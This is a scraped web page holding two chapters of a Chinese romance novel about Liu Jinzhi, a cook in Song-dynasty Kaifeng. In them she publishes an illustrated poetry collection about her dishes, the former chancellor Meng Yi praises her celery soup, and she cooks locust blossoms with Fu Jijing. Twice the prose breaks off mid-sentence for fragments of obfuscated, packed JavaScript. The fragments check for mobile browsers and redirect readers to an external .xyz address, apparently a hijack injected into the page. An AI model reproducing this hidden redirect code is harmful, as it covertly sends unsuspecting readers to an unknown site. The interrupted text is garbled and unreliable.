然后就跟儿童第一天上学似的,整理好宽大袖子,整理好衣冠,挺直了背脊,两手放在膝盖上,端端正正坐在小杌子上一动不动。 柳金枝可惜手上没个手机,不然就能录下来,第二天帮傅霁景回忆黑历史了。 她也没想到傅霁景的酒量居然那么差,五杯金华酒而已,连她都放不倒,居然能醉成这样。 一边想着,一边加快了熬醒酒汤的速度。 正此时,书生们在饭堂里作诗的声音传来。 傅霁景听了,头往那边偏了偏,也跟着小声碎碎念。 柳金枝凑过来听了一耳朵,但…… 傅霁景:“……” 柳金枝:??? 她怎么一句话都听不懂。 好歹她也是经历过现代九年义务教育的,怎么到了傅霁景跟前跟文盲一样。 “二郎,你读过很多书吗?”柳金枝问。 傅霁景又卡顿了一下,才扭过头,慢吞吞地掰指头给柳金枝数: “《周易》、《礼记》、《诗经》、《孟子》、《左传》、《诗经》、《尔雅》、《战国策》……” “《文心雕龙》、《嵇康文集》、《典论·论文》、《阮籍文集》、《天随子》、《宗玄先生文集》、《傅山全书》、《各道家诸子典籍注疏》……” 傅霁景念了一盏茶的时间还没有打住的趋势。 柳金枝赶紧伸手捂住了傅霁景的嘴。 “好,够了。” 她现在终于相信,“我读过的书比你吃过的饭还多”不是一个夸张句了。 这么说起来,傅霁景自打识字起,应该就一直在书房里埋头苦读。 这么庞大的阅读量,也不知他要起多少个早床,看多少次东边稀薄的朝阳,忍着多少困意,吞下过多少苦楚。 柳金枝望着傅霁景的眼神,问:“读这些书,累不累?” 傅霁景眼眸沉沉,点了点头:“累。” 有限的精力似乎已经到头了,傅霁景用袖子掩住唇齿,低低打了个哈欠,然后把头枕靠在自己膝上。 “困了……” 他嘀咕了一句,随后就响起了均匀的呼吸声。 很好,睡着了。 柳金枝无奈笑笑,唤来杜卫去寻杏安。 等到杏安慌慌张张来接人后,醒酒汤也好了。 她盛了一碗装在食盒里给杏安带走,嘱咐他在傅霁景醒过来之后热了喝。 酒量差的人,醉酒之后醒过来都会感到头痛。 喝了醒酒汤,起码能舒缓许多。 杏安连声道谢,赶忙把傅霁景扶走了。 目送着傅家马车离开,柳金枝终于把注意力放在了那群集会的书生身上。 然而林勤和王忠勇满面为难,指着屏风内道:“东家,要不你亲自来看看?” 柳金枝心中顿生不祥预感,赶忙跑进屏风里一看,顿时咬牙切齿。 因为里头漫天遍地都是纸。 还有喝醉了的书生趴在地上在写诗,写一张,扔一张。 诗作从天上哗啦啦往下飞,盖住柳金枝的脸。 柳金枝随手抓着一张眸光下移。 “鲈鱼千头酒百斛,酒中倒卧南山绿。”④ 又抓住下一张:“秀色可怜刀切肉,清香不断鼎烹龙。”5 柳金枝本来要隐隐爆发的怒火停滞了一下 其实这些诗写的都还不错。 更主要的是,这漫天飞舞的纸上的每一首诗,都是以她的菜作为主题,而且全是夸赞。 这不就相当于现代的探店好评? 文案都不用她自己写。 而她要做的,就是借着这么个绝佳的宣传机会,把柳氏饭馆的名声再打响一次。 柳金枝怒气尽消,甚至还有些愉悦。 对林勤和王忠勇道:“把这些纸张都捡起来,再给我找一个书坊的掌柜。” 她要出诗集! 其实文人向来都有出诗集的习惯,比如乡试之后大家聚会出一本,殿试之后大家集会出一本…… 出诗集不仅能够集结同好,还能提高知名度,就跟个人代表作一样。 要不是出诗集要价颇高,估计人人都会去试试。 但现在是柳金枝出钱,替书生们出诗集。 等到书生们酒醒之后问了一遍,几乎没有不同意的。 有的甚至还想多加两首诗。 毕竟是花别人的钱,扬自己的名。 何乐而不为呢? 在和书生们沟通好之后,柳金枝就带着这些草稿纸去了一家书坊。 但诚如她之前所说,在古代,书生们出个诗集是再正常不过的事情了。 汴京城里每天出来的诗集不说几千,几百也是有的。 但大家每天工作那么忙,谁有时间去慢慢看你的诗?况且古代文盲率高,大部分人还不识字呢。 所以,如何让这本诗集脱颖而出? 柳金枝想到的招数是“插图。” 请一位技巧精湛的画师为每一道菜,都画一副色彩浓艳、菜色精致的画,装订在每一首诗作旁边。 就是看不懂诗的人拿到了这册诗集,也能借插图钓起他们的馋虫。 这事柳霄极为赞成,又询问了黄师道还有几位师兄,给柳金枝推荐了一位技艺高超的画师。 在柳金枝出手大方的前提下,画师以半个月的时间,完成了二十八道菜品的绘图。 再加上书坊利用活字印刷印出拓本,再进行装订。 一个月后,一本史无前例的美食诗集终于出版了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604544|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳金枝拿了十来本放在自家店门口销售,定价都不高,主要还是为了打开知名度。 柳霄那边也拿了几本去送给师父、师兄,潘琅寰、潘安玉、项志轩、应天爵四人也是一人一本,又拿了不少,去分发给亲朋好友。 其实柳金枝还想请傅霁景帮帮忙,但又觉得这种类似于派发传单一样的事情,不太符合傅霁景的格调。 纠结半晌,就只请了杏安帮忙。 当然,她也给傅钗华送了一本,撇开诗集本身不谈,当一本菜谱来看,它还是很精美的。 就这样在众人积极的推销、宣传之下,这本诗集终于在汴京城里小小流行了起来。 高门大户里的讨论点自然是在诗作本身,但平民百姓看的都是插图,个个都馋的不行。 终于有一天,有一道敦厚的身影拿着诗集走进了柳氏饭馆。 那是个有着四十岁光景的男人,蓄着山羊须,穿一身宽大的圆领襕衫,头上戴一顶东坡帽,唇边含着一点笑意,气质从容和缓。 甫一进饭馆的门,他就以打量的眼光将整个饭馆上下巡视了一遍。 尔后背着手,溜溜达达走到一张饭桌前坐下,开始细致地看饭馆里的所有菜色。 虽然林勤当掌柜的时间不长,但他敏锐的捕捉到了这个男人的不同凡响,赶忙溜去膳房告诉了柳金枝。 柳金枝探头一瞧,注意到男人手中的诗集,低声对林勤道:“我不认识他,但你且瞧瞧他要点些什么,哦,告诉王忠勇,无论这人点什么,都说有。” 林勤点点头,又跑过去与王忠勇窃窃私语一阵。 随后,两个伙计都对这个男人格外关注。 直到一炷香后,男人才看完单子牌面,慢吞吞举起手对王忠勇点菜。 王忠勇打起精神,打算等会儿运足了气,给男人来一段好听的报菜名。 却不想男人开口下一句就是:“你们这儿有碧涧羹吗?” 据南宋林洪所写的《山家清供》记载,碧涧羹是宋代饮食文化中的一道经典素菜。 以芹菜为主料,名称来源于杜甫《陪郑广文游何将军山林》中的一句诗—— “青芹碧涧羹。” 因此在文人之中流传颇广。 柳金枝道:“既是他要这羹,那我就与他做。阿芹,准备嫩水芹、芝麻、茴香、盐和苦酒。” 阿芹点点头,从橱柜里拿出这几样东西,一一摆放在灶台上。 柳金枝取来嫩水芹,手中菜刀一转,切下水芹的茎与叶,扔在水盆里头用清水冲洗。 洗净后用筛网捞起来,抖干净叶片上的水珠,架在一个空心盆上。 阿芹低下头给灶眼生火。 为了加快速度,她加满了柴火。 没一会儿铁锅内的水就滚了起来,柳金枝就着筛网,把网内的水芹倒入沸水当中焯水。 这么做主要是为了散掉水芹里的苦味。 但也不能焯太久。 大概在心里默数十下后,柳金枝再度用铁笊篱把水芹捞了起来,反扣在菜板上,用菜刀切段,赶入一只干净碗中备用。 阿芹找出来的调料都是新鲜的,就算隔了稍远一点的距离,都能闻到麻袋里头传来的阵阵香味儿。 柳金枝拿着一只小碗,称出适量的茴香和芝麻,将它俩混合放入石臼之中。 毕竟碧涧羹是一道素羹,如果不加其他调料增香,喝在嘴里就会显得淡淡的,好似喝了草汁。 而茴香和芝麻在碾碎之后,都会出现一种醇厚又令人回味无穷的香味儿。 混在羹中,能最大程度地激发食物原本的香气。 柳金枝就很喜欢这种味道,因此在整个碾碎过程中显得颇为享受。 待到石臼底部只剩下了粉末,她将之倒出来,再加入些许盐进行混合,最后与切段放好的水芹进行搅拌,淋上足量的苦酒,也就是醋,腌上半个时辰。 在这个过程当中,柳金枝叫林勤以给男人上几个免费小菜为理由,趁机偷看了一下男人写在诗集封面上的名字。 孟左辅。 一瞬间,柳金枝觉得这名字有点耳熟。 但她对文学界实在太不了解,哪怕觉得耳熟,也愣是没想起来半点。 只好略作惭愧的把名字记下来,打算改天去问问柳霄,或者傅霁景也行。 水芹腌好之后,就到了最后的煮羹阶段。 柳金枝把水芹再一次放入清水中煮沸,保持汤色清澈,起锅前又淋了少许苦酒提鲜。 等到她把锅内水芹尽数倒入一只薄胎素胚的瓷碗中时,成品越发显得色如碧涧,汤色如雨后碧波,清澈见底。 细细地去闻,还能嗅到酸香之中,带有芝麻与茴香混合在一起的醇厚香气。 柳金枝一笑,把东西递给王忠勇,道:“给那人端上去。” 王忠勇点头。 柳金枝、阿芹两人就凑在膳房后头观察男人的表情。 男人在对王忠勇道过谢后,取过陶瓷汤匙,舀起一勺,吹了吹气,细抿一口。 尔后,眼前一亮,又快快地吃了几口,笑着低语道:“这羹做的入味儿,所谓‘既清且馨’,就是如此了。” 话毕,就埋头苦吃,直至羹稀见底,他才抬起头来,重重舒了一口气。 “小二,敢问可有笔墨么?” 王忠勇一时迟疑。 柳金枝示意了一下林勤。 林勤赶忙抢上前递上了一支上好的羊毫笔,又端着砚台供男人沾墨。 男人执笔蘸饱墨汁,站在饭馆里的一面白墙前停顿片刻,尔后挥毫写下: “青精饭熟思留客,碧涧芹香可献君。” “睡起茶瓯风两腋,功名何啻等池云。”6 尔后以一手狂放草书写下落款——孟义。 孟义,字左辅。 刹那间,柳金枝脑子里电光火石般闪过一点灵光。 她想起来了。 这个孟义正是大宋前任宰相! 42. 榆钱槐花 借着孟义的东风,饭馆的名声在汴京更上一层楼。 前来瞻仰孟义笔墨的书生源源不断。 看累了,再点一碗孟义吃过的碧涧羹。 以至于碧涧羹在饭馆的销量直线上升。 就连不会做碧涧羹的阿芹,在庞大的订单量下,都被逼得学会了。 这恐怖的明星效应。 柳金枝感叹。 不过她也疑惑。 因为借着这些瞻仰学生们的交谈,她得知了孟义的生平事迹。 寒门出身,天赋异禀,位居丞相,却清高自持,不为官场折腰,于是四十五岁之后,毅然辞官归隐。 哪怕有很多人仰慕孟义的才华和操行,想要拜访,也始终找不到孟义的居所。 而为了避开众人,孟义也始终低调。 这种做法让孟义变得更加神秘,却也更令学子们心生向往。 就像在追逐一个永远看不见的偶像一样。 积年累月,产生了巨大的明星效应。 但凡哪儿传来了孟义的传闻,必然会吸引一大堆学子前往。 这架势,就跟唐朝的李太白一样。 所以,孟义亲自出现在她的饭馆,还亲笔挥毫写诗,后续带来的效益孟义自己肯定很清楚。 但他还是来了,甚至手里居然还拿着她出的诗集。 惊才绝艳如孟义,柳金枝并不觉得他会为诗集打动。 那是谁让孟义来的? 又是谁把诗集送给孟义的? 思来想去,柳金枝挎着篮子站在黄师道家巷门口。 春光流转,此时已快是暮春时节。 巷门口那棵老槐树结出的槐花越发金黄饱满,黄师道与一名小童正站在槐花树下,一人提篮子,一人拿剪子,正剪下团团簇簇的槐花。 柳金枝笑着走过去,与黄师道福身一礼,道:“黄先生好兴致,怎么在剪槐花?是要吟诗课题么?” 黄师道见她来了,把剪子交给小童,笑道:“我是个俗人,不喜欢吟诗作对,煎炸烹煮倒是很精通。” 然后请柳金枝进门。 “娘子可是来寻柳霄的?这孩子学习很认真,课业进步也很大。” 黄师道说道。 “还是黄先生教导有方,辛苦了。这是我做的一些小点心,您尝尝?” 柳金枝打开食盒盖子。 其实黄师道的眼睛早就盯上食盒了,就是不好意思说。 柳金枝开了口,他一面说“那怎么好意思呢?”,一面忙不迭捉起了竹箸,眼里满是高兴。 旁边小童也很想来看看柳娘子这回又要做什么好吃的,但碍于身份,不敢太上前,就站在一边够着脑袋瞧。 只见柳金枝从食盒里端出一碟龙井茶糕、一碟白茶花酥、一碟梅花汤饼,还有一碗碧涧羹。 这碧涧羹是用汤碗加盖装着,外头还包着一团厚厚白毛巾保温,因此端出来时,黄师道鼻尖还能闻到一股略带酸香的温热味道。 “我早就听说孟大人去了娘子家的饭馆,还题了一首诗。现在谁人不知柳氏饭馆的碧涧羹美味无双,连孟义都为之折腰?” 黄师道搓着手。 “要不是得看着这群小崽子完成学业,我早就想去娘子家的饭馆试试了。” 提起孟义,柳金枝笑了笑,试探性地说: “都说孟大人隐世不出,我也与孟大人无甚交集。孟大人忽然登门,我还颇为惊讶。想着问问先生,是否是您在孟大人面前替我美言了几句……” 黄师道闻言,惊诧地连端碗的动作都停下了。 “我?”黄师道赶忙否认,“我专注于算经,与诗经科的孟大人从无交集,顶多是听过其盛名,但从未有机会结交。” 柳金枝愣了一愣。 黄师道表情诚恳不似作伪,而且他也没有骗自己的必要。 那不是黄师道,还能是谁? 柳金枝心里冒出一个人名,但想了想,又犹豫的排除了。 傅钗华应当不会帮她到这个程度吧? 正想着,门口传来一阵敲门声。 柳霄的声音响起:“老师,我把师兄的习题册带回来了。” 柳金枝闻言,笑着站起来道:“霄哥儿回来了,我去开门。” 走到门口,将门拉开,看清门口的人后却是一怔。 傅霁景站在柳霄旁边,手里还拿着一卷稿纸,与柳金枝大眼瞪小眼,场面有一瞬间的沉默。 “阿姐。”柳霄看见柳金枝很高兴的样子,“你来找我了?” “是啊,怕你饿着,来给你送些吃食。” 说着,眼神不由自主飘到傅霁景身上。 自从上次傅霁景在她面前醉酒丢脸后,就将近一个月没在她面前出现过。 柳金枝也没去打扰。 现在再见面,傅霁景耳尖瞬间红了个彻底,一个人默默把头转了过去。 柳金枝咳咳两声,给傅霁景留了点空间,对柳霄道: “先进来再说吧。” “阿姐来的真巧,刚刚师傅还在念叨呢。说你好长时间不来了,他很想念你的手艺。” 柳霄一边进门,一边顺便把手上的习题册抱紧了些。 柳金枝瞧他有掩饰的味道,就凑过去看了看。 发现这些习题册好似都是做过的,字迹与柳霄一模一样。 “这是黄先生给你布置的作业吗?这么厚一本。” 柳金枝问。 黄师道的声音从院子里传来,遥遥道:“我可没有虐待弟子的习惯,这本算题册是霄哥儿自己要的,写了可是算钱的。” 柳金枝想起柳霄此前送她钗的时候,就说是在帮人做题挣钱,但为什么现在还在做? “霄哥儿,你目前的任务是好好读书。哪里缺了银子,少了吃穿都可以跟我说,阿姐现在供得起你。” 柳金枝道。 她不想柳霄因为银子上的事情而分心耽误学业。 但柳霄抿了抿唇,小声道:“阿姐,放心,还差一点点我就攒够了,到时候我就不写了。” “攒够什么?” “阿姐的生辰礼物。” 柳金枝一愣。 她的生辰礼物? 是啊,原主是在初夏的时候生的。 现在春日已经过了一半,转眼就是夏季来临,原主该过生辰了。 柳金枝心中一软,忍不住摸着柳霄的脑袋:“你呀,阿姐怎么会在意这些外物?阿姐最在乎的是你的心意。” “我知道阿姐不在乎,可是我就想送给阿姐。那天我看见阿姐难得穿了一身漂亮衣裙,特别好看,可是平常都看不见阿姐这样穿。” 柳霄一笑。 “我不想阿姐会羡慕别人家的娘子有漂亮衣裙,所以我也想送给阿姐一套。” 柳金枝心里暖暖的。 看着柳霄的眼神更加柔和。 但还是道:“只许这一次,往后都不许做了。” 柳霄点点头。 黄师道笑道:“霄哥儿,你师兄怎么没从书斋过来?” “就快了。” 柳霄应了一声,拉着柳金枝到一边,低声道:“阿姐,这位师兄就是之前为我们介绍画师的那位,这些习题册也是承蒙他关照,我才拿到手的。” 柳金枝明白。 柳霄的意思是想借着今天碰面,把人情还上。 就笑着说:“看这日头,想必已过了正午。大家应该都饿了,不如我今日留下来做一手槐花饭,等人齐了正好可用。” 黄师道笑着说:“我当然是求之不得,膳房里的东西娘子随意取用,想让谁搭把手,说一声就好。” 柳金枝接过黄师道手上的篮子和剪刀,走到门口接着剪槐花。 柳霄帮姐姐去打水,预备等会儿洗菜。 黄师道就想招呼傅霁景。 岂料他连话都没来得及说出口,傅霁景就先一步往门口走去。 口中只道:“我去帮忙。” * 门外头,柳金枝提了一只篮子摘槐花。 春日里的槐花生的最好,肥美洁白的花瓣团团簇簇凑在一起,重重压在枝头垂落下来,就好像一个倒挂式的蜂巢。 柳金枝拿着一个剪子,用篮子在下面托底,剪去槐花的枝,让饱满的花瓣落在篮子里,而不落在地上。 融融春光之下,她做的认真,白皙红润的脸在春日的照耀下更显秀丽好看。 傅霁景耳尖红起来,显然还忘不了醉酒之后的丢人回忆,可还是走到柳金枝身边,问: “娘子可要帮忙?” 柳金回过头,见傅霁景面似火烧的样子,忍不住笑道:“二郎肯见我了?” “我从未回避过娘子。” 傅霁景闷声说,然后接过柳金枝手里的篮子。 柳金枝也不与他客气,把篮把手松开,抬起剪子继续动手。 两个人虽然没怎么交流,可动作之间很有默契。 柳金枝的剪子伸到哪儿,傅霁景就把篮子递到哪儿,没一次让槐花掉下来过。 有时候柳金枝动作慢了,傅霁景还会主动去迁就她。而柳金枝也时不时注意傅霁景的动作,确认他把篮子递到了才动手剪。 两个人看似在剪槐花,却在春光下逐渐生出一种暧昧来。 柳金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610200|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枝纵使从容些,可也是脸发烧。 背脊生了细密的汗,颗颗从背心划入背脊,像是有根羽毛在扫一样,心跳的很厉害。 傅霁景脸上还端得住,可红到滴血的耳尖早就出卖了他。 不过两个人每一个主动说话,就这么默默的剪花枝。 直到整个篮子都满的装不下了,柳金枝才咳嗽两声,说:“好了。” 傅霁景退后两步,攥紧了篮子的把手,轻声道:“我们接下来做什么?” “把槐花洗了。” “那、那我来洗。” 傅霁景提着篮子进门了。 好似男子在心悦之人面前紧张的时候,都偏向于用干活儿来掩饰自己。 傅霁景背对着柳金枝,生疏地将袖子挽到手肘上,蹲在黄师道家的井水口边洗槐花。 因为他没用攀膊,所以袖子每隔一段时间都会往下滑,然后傅霁景再把袖子撸上去。就这么反复来回,傅霁景倒是一点也不嫌烦,还是温和又耐心。 柳金枝也不知自己是怎么想的,大概是见傅霁景总是这样温和包容的模样,就想对他再好一些。 就犹豫地走到傅霁景身边说:“要不……我给你挽吧。” 傅霁景愣了一下,抬起头来看她。 眼中,柳金枝偏着头,手捏着衣角,眼神有些许慌乱。 傅霁景又慢慢把眼眸垂下,小心翼翼开口:“嗯。” 然后乖乖站起来任柳金枝动作,像个完全没脾气的泥人。 柳金枝感叹这世界上这么会有傅霁景这样好脾气的名门子弟,手上倒赶紧帮傅霁景挽好了袖子。 两个人又分开。 傅霁景还是低头细心地洗槐花,这回袖子没再滑落了,但傅霁景不知怎得,手上动作还是很慢,很慢。 直到柳金枝将火都生了起来,红彤彤的火焰映照着柳金枝清丽无双的眉眼,傅霁景才抿了抿唇,将槐花从水里捞了出来。 柳金枝接过洗净的槐花,放入一个干净的木盆里,再取来菜籽油淋入盆里,将每朵槐花都浸入油里。 又取来粉质细腻的好面粉,同样倒入盆中,用手去抓槐花,确保让每一朵槐花都均匀的裹上面粉和油,最后把槐花倒入蒸笼之中,以大火蒸上四分钟,就可以取出拌匀调料了。 傅霁景不懂膳房里的事,见柳金枝弄的这样快,问:“这样就好了吗?” “是啊。”柳金枝将调料瓶一字排开摆在自己面前,“槐花毕竟是花嘛,植物类菜系都不用蒸太久,不然就稀烂了,口感也不会好。” 傅霁景难得有点似懂非懂。 柳金枝见他露出懵懂表情,忍不住笑着解释道:“菜一类的东西蒸的快,因为最上层的蒸汽是最烫的,没一会儿就熟了。如果是用炒的呢,时间就可以长点。” “槐花还能炒吗?” 傅霁景看起来更迷茫了。 在他的世界观里,好像花都是用来赏的,又或者是用来作诗的。 “当然能了。” 柳金枝笑道:“槐花裹上面粉,蒸熟之后伴着调料吃,就是酸酸辣辣的口感。槐花拌着鸡蛋液,放在锅里炒,口感就跟香椿炒鸡蛋差不多。槐花裹上面粉放进油锅里炸,就酥酥脆脆,又香又好吃。” “除了这些,还可以做槐花饺子啦、槐花鸡蛋汤啦、槐花泡茶啦,很多很多种吃法。” 毫不夸张的说,傅霁景瞪圆了眼睛。 他以往只知道槐花有很多首赞颂的诗作,第一次知道原来槐花的吃法比诗多。 “是我孤陋寡闻了。” 傅霁景不好意思。 他以往只知道柳金枝做菜很厉害,没想到食物里面也有很多弯弯绕绕。 傅霁景问道:“娘子会做多少道菜?” “没细数过,但算起来,百余道肯定是有了。” 傅霁景有些惊讶,道:“娘子是何时开始学习做菜的?” “从……” 柳金枝下意识想说“从小学起”,但尔后意识到自己的身份,换了个说法: “半路出家罢了。” 半路出家就能有这样的手艺和见识? 傅霁景微叹一声:“娘子天赋异禀,我自愧不如。” “术业有专攻。”柳金枝洒然一笑,“傅郎君厉害在读书,我就厉害在做饭。这么算起来,其实咱俩都很厉害。” 要是旁人听见这种话,说不定要为傅霁景鸣不平。 一个榜首,和一个膳工娘子。 根本没有可比性嘛。 但傅霁景望着柳金枝的笑眼,眼里闪烁着温柔的光,勾起唇角点头。 “嗯,娘子说的在理。”